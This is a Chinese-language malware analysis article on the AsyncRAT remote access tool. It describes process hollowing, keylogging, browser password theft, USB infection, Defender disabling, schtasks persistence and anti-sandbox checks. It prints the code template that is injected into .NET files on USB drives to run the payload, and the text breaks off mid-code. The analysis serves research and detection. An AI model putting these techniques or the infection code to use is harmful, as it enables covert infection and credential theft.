AsyncRAT利用分析

?3gstudent?嘶吼专业版?

0x00 前言

AsyncRAT是一款使用C Sharp开发的C2工具，本文仅在技术研究的角度分析AsyncRAT的技术细节，介绍检测方法。

注：本文选择的AsyncRAT更新日期为2020年5月9日

0x01 简介

·? AsyncRAT的优点

·? AsyncRAT的技术细节

·? 检测方法

0x02 AsyncRAT的优点

AsyncRAT使用C Sharp开发，应用于Windows系统，具有以下优点:

1. 支持从Pastebin测试数据读取C2服务器的配置信息；

2. 支持内存加载PE文件；

3. 支持动态编译并执行C#或者VB代码；

4. 支持U盘感染，能够感染U盘中所有使用.NET开发的exe文件；

5. 支持自动读取Firefox和Chrome浏览器中保存的密码；

6. 通过欺骗用户点击的方式绕过UAC进行提权；

7. 通过C#接口技术，提高程序的扩展性，在程序实现上将每一个功能对应一个类，编译成dll文件，在需要加载的时候，由Server发送至Client，Client通过Activator.CreateInstance将类实例化，进而调用类的方法。

0x03 AsyncRAT的技术细节

本节按照AsyncRAT控制面板上的功能逐个进行分析，如下图：

1.SendFile

(1)ToMemory

内存加载exe文件，支持以下两种类型：

·? Reflection

·? 使用Assembly.Load加载C#程序

更多细节可参考之前的文章《从内存加载.NET程序集(Assembly.Load)的利用分析》。

·? RunPE

·? 通过替换进程内存的方式加载exe文件

可选择以下程序作为被注入的程序：

·? aspnet_compiler.exe

·? RegAsm.exe

·? MSBuild.exe

·? RegSvcs.exe

·? vbc.exe

注：

·? 以上5个exe文件位于Microsoft.NET Framework的安装目录，同AsyncClient.exe的位数保持一致

·? 使用32位的AsyncClient.exe反弹回的Session，默认会寻找32位Microsoft.NET Framework的安装目录，例如：C:\Windows\Microsoft.NET\Framework\v4.0.30319

·? 使用64位的AsyncClient.exe反弹回的Session，默认会寻找64位Microsoft.NET Framework的安装目录，例如：C:\Windows\Microsoft.NET\Framework64\v4.0.30319

·? RunPE操作将启动以上5个exe文件中的一个，通过ReadProcessMemory、 Virtual AllocEx、WriteProcessMemory和ResumeThread实现对进程内存的修改，替换成要加载的exe文件

·? 这里需要注意要加载的exe文件需要同AsyncClient.exe的位数保持一致

·? 使用32位的AsyncClient.exe反弹回的Session，使用RunPE操作只能加载32位的exe文件

·? 使用64位的AsyncClient.exe反弹回的Session，使用RunPE操作只能加载64位的exe文件

更多细节可参考之前的文章《傀儡进程的实现与检测》

(2)ToDisk

将exe文件上传到目标主机的%Temp%目录，重命名为随机字符串，再使用Powershell启动exe文件，执行后不会删除%Temp%目录下的exe文件。

2. Monitoring

(1)Remote Desktop

·? 监控屏幕，实时获得目标桌面的内容(只能监控，无法操作)

·? 调用Graphics类的CopyFromScreen实现屏幕截图

通过Python实现监控屏幕的细节可参考之前的文章《Pupy利用分析——Windows平台下的屏幕控制》。

(2)Keylogger

·? 实时获得目标主机键盘输入的消息和进程名称

·? 通过hook的方式实现键盘记录

(3)Password Recovery

·? 获得Firefox和Chrome浏览器中保存的密码

技术细节可参考之前的文章《***技巧——导出Firefox浏览器中保存的密码》和《***技巧——导出Chrome浏览器中保存的密码》。

(4)File Manager

·? 文件管理，还支持隐蔽安装7zip和对文件的压缩及解压缩

隐蔽安装7zip的方式：

·? 在%Temp%目录新建文件夹7-Zip，释放文件7z.exe和7z.dll

(5)Process Manager

·? 进程管理，支持查看进程和关闭进程

(6)Report Window

·? 监控重要进程，当目标主机上运行指定进程时，控制端弹出提示消息

(7)Webcam

·? 开启摄像头

3.Miscellaneous

(1)Bots Killer

清除自身进程在注册表HKLM和HKCU下\Software\Microsoft\Windows\CurrentVersion\Run和Software\Microsoft\Windows\CurrentVersion\RunOnce保存的项。

(2)USB Spread

1. 当目标主机连接U盘时，感染U盘中的文件。

2. 将***客户端复制到U盘中并隐藏，默认保存的名称为LimeUSB.exe。

修改U盘中所有使用.NET开发的exe文件，通过CSharpCodeProvider改变程序运行流程，添加以下代码：

using System;

using System.Diagnostics;

using System.Reflection;

using System.Runtime.InteropServices;

[assembly: AssemblyTrademark("%Lime%")]

[assembly: Guid("%Guid%")]

static class %LimeUSBModule%

{

? ? public static void Main()

? ? {

? ? ? ? try

? ? ? ? {

? ? ? ? ? ? System.Diagnostics.Process.Start(@"%File%");

? ? ? ? }

? ? ? ? catch { }

? ? ? ? try

? ? ? ? {

? ? ? ? ? ? System.Diagnostics.Process.Start(@"%Payload%");

? ? ? ? }

? ? ? ? catch { }

? ? }

}

用户在启动正常文件的同时会隐蔽执行U盘中的***客户端。

(3)Seed Torrent

·? 向目标主机发送种子文件并下载

·? 目标主机需要安装uTorrent或者BitTorrent

(4)Remote Shell

·? 弹出一个交互式的cmd窗口

(5)DOS Attack

·? 向指定域名持续发送HTTP数据包

(6)Execute .NET Code

·? 在目标主机上动态编译C#或者VB代码并执行

·? 模板文件包含弹框和下载执行的功能

我提取出了其中编译C#代码并执行的功能，代码示例如下：

using System;

using System.CodeDom;

using System.CodeDom.Compiler;

using System.Reflection;

namespace CodeDomProviderTest

{

? ? class Program

? ? {

? ? ? ? static void Main(string[] args)

? ? ? ? {

? ? ? ? ? ? string source = @"

using System;

using System.Windows.Forms;

namespace AsyncRAT

{

? ? public class Program

? ? {

? ? ? ? public static void Main(string[] args)

? ? ? ? {

? ? ? ? ? ? try

? ? ? ? ? ? {

? ? ? ? ? ? ? ? MessageBox.Show(""Hello World"");

? ? ? ? ? ? }

? ? ? ? ? ? catch { }

? ? ? ? }

}

}";

? ? ? ? ? ? CodeDomProvider codeDomProvider = CodeDomProvider.CreateProvider("CSharp");??

? ? ? ? ? ? try

? ? ? ? ? ? {? ? ? ? ? ? ??

? ? ? ? ? ? ? ? var compilerOptions = "/target:winexe /platform:anycpu /optimize-";

? ? ? ? ? ? ? ? var compilerParameters = new CompilerParameters();

? ? ? ? ? ? ? ? compilerParameters.ReferencedAssemblies.Add("system.dll");

? ? ? ? ? ? ? ? compilerParameters.ReferencedAssemblies.Add("system.windows.forms.dll");

? ? ? ? ? ? ? ? compilerParameters.GenerateExecutable = true;

? ? ? ? ? ? ? ? compilerParameters.GenerateInMemory = true;

? ? ? ? ? ? ? ? compilerParameters.CompilerOptions = compilerOptions;

? ? ? ? ? ? ? ? compilerParameters.TreatWarningsAsErrors = false;

? ? ? ? ? ? ? ? compilerParameters.IncludeDebugInformation = false;

? ? ? ? ? ? ? ? var compilerResults = codeDomProvider.CompileAssemblyFromSource(compilerParameters, source);

? ? ? ? ? ? ? ? if (compilerResults.Errors.Count > 0)

? ? ? ? ? ? ? ? {

? ? ? ? ? ? ? ? ? ? foreach (CompilerError compilerError in compilerResults.Errors)

? ? ? ? ? ? ? ? ? ? {

? ? ? ? ? ? ? ? ? ? ? ? Console.WriteLine(string.Format("{0}\nLine: {1} - Column: {2}\nFile: {3}", compilerError.ErrorText,

? ? ? ? ? ? ? ? ? ? ? ? ? ? compilerError.Line, compilerError.Column, compilerError.FileName));

? ? ? ? ? ? ? ? ? ? ? ? break;

? ? ? ? ? ? ? ? ? ? }

? ? ? ? ? ? ? ? }

? ? ? ? ? ? ? ? else

? ? ? ? ? ? ? ? {

? ? ? ? ? ? ? ? ? ? Assembly assembly = compilerResults.CompiledAssembly;

? ? ? ? ? ? ? ? ? ? MethodInfo methodInfo = assembly.EntryPoint;

? ? ? ? ? ? ? ? ? ? object injObj = assembly.CreateInstance(methodInfo.Name);

? ? ? ? ? ? ? ? ? ? object[] parameters = new object[1];

? ? ? ? ? ? ? ? ? ? if (methodInfo.GetParameters().Length == 0)

? ? ? ? ? ? ? ? ? ? {

? ? ? ? ? ? ? ? ? ? ? ? parameters = null;

? ? ? ? ? ? ? ? ? ? }

? ? ? ? ? ? ? ? ? ? methodInfo.Invoke(injObj, parameters);

? ? ? ? ? ? ? ? }

? ? ? ? ? ? }

? ? ? ? ? ? catch (Exception ex)

? ? ? ? ? ? {

? ? ? ? ? ? ? ? Console.WriteLine(ex.Message);

? ? ? ? ? ? }

? ? ? ? }

? ? }

}

(7)Files Searcher

·? 搜索指定后缀名的文件并打包成zip文件

4.Extra

(1)Visit Website

·? 启动默认浏览器并访问指定URL，界面不隐藏

(2)Send MessageBox

·? 在目标主机上弹出对话框

(3)Chat

·? 在目标主机上弹出对话框，实时显示输入的内容

(4)Get Admin Privileges

1. 使用cmd.exe以Admin权限重新启动***客户端，这个操作会在用户桌面弹出UAC框，需要用户选择允许后才能运行；

2. 如果用户未选择允许，会一直弹出UAC对话框；

3. UAC对话框的程序位置会暴露***客户端的路径；

4. 如果想要伪造一个更加可信的UAC对话框(不暴露程序位置)可以参考之前文章《A dirty way of tricking users to bypass UAC》中的思路。

(5)Blank Screen

Run功能：

通过WinAPI CreateDesktop()创建一个随机名称的虚拟桌面，内容为空，当切换到这个空的虚拟桌面时，用户无法对桌面进行操作。

Stop功能：

通过WinAPI SwitchDesktop()切换到原来的桌面。

(6)Disable Windows Defender

·? 通过修改注册表的方式关闭Windows Defender，通常在Win10系统上使用

(7)Set Wallpaper

·? 设置用户的桌面

5.Server

·? Block Clients

·? 拒绝指定IP回连的***客户端

6.Builder

(1)Connection

DNS：指定C2 Server的IP，可以设置多个；

Port：指定C2 Server的端口，可以设置多个；

Pastebin：从Pastebin测试数据读取C2 Server的信息，包括DNS和Port。

内容示例：

127.0.0.1:6606:7707:8808

(2)Install

1. 用作配置***客户端自启动的功能；

2. 开启这个功能后会将***客户端复制到指定位置；

3. 文件名称可以重新命名；

4. 文件路径可选择%AppData%或%Temp%目录；

5. 当***客户端以普通用户权限执行时，会在注册表HKCU\Software\Microsoft\Windows\CurrentVersion\Run添加项，以新的***客户端名称作为注册表项的名称，以新的***客户端路径作为注册表项的数据。

当***客户端以管理员权限执行时，会使用schtasks命令创建计划任务，命令示例：

schtasks /create /f /sc onlogon /rl highest /tn ?/tr

计划任务的名称为新的***客户端名称，会在用户登录时执行计划任务。

(3)Misc

Group：对***客户端进行分类；

Mutex：设置互斥量，避免***客户端的重复启动；

Anti Analysis：

包括以下功能：

·? DetectManufacturer，通过WMI获得系统信息(Select * from Win32_ComputerSystem)，查看Manufacturer是否包含字符 Virtual 、vmware或 Virtual Box

·? DetectDebugger，使用WinApi CheckRemoteDebuggerPresent()检查是否为调试器

·? DetectSandboxie，使用WinApi GetModuleHandle()检查SbieDll.dll是否存在

·? IsSmallDisk，检查硬盘大小是否小于60Gb

·? IsXP，检查系统名称是否包含字符xp

Process Critica：

将进程设置为保护进程，如果意外关闭了保护进程，那么将导致BSOD。

更多细节可参考之前的文章《结束进程导致BSOD的利用分析》。

Delay：延迟执行的时间

(4)Assembly

·? 可以手动设置文件属性，也可以复制指定文件的文件属性

(5)Icon

·? 设置文件图标

(6)Build

·? Simple Obfuscator：通过重命名的方式实现简单的混淆

关键代码：

? ? ? ?private static ModuleDefMD RenamingObfuscation(ModuleDefMD inModule)

? ? ? ? {

? ? ? ? ? ? ModuleDefMD module = inModule;

? ? ? ? ? ? IRenaming rnm = new NamespacesRenaming();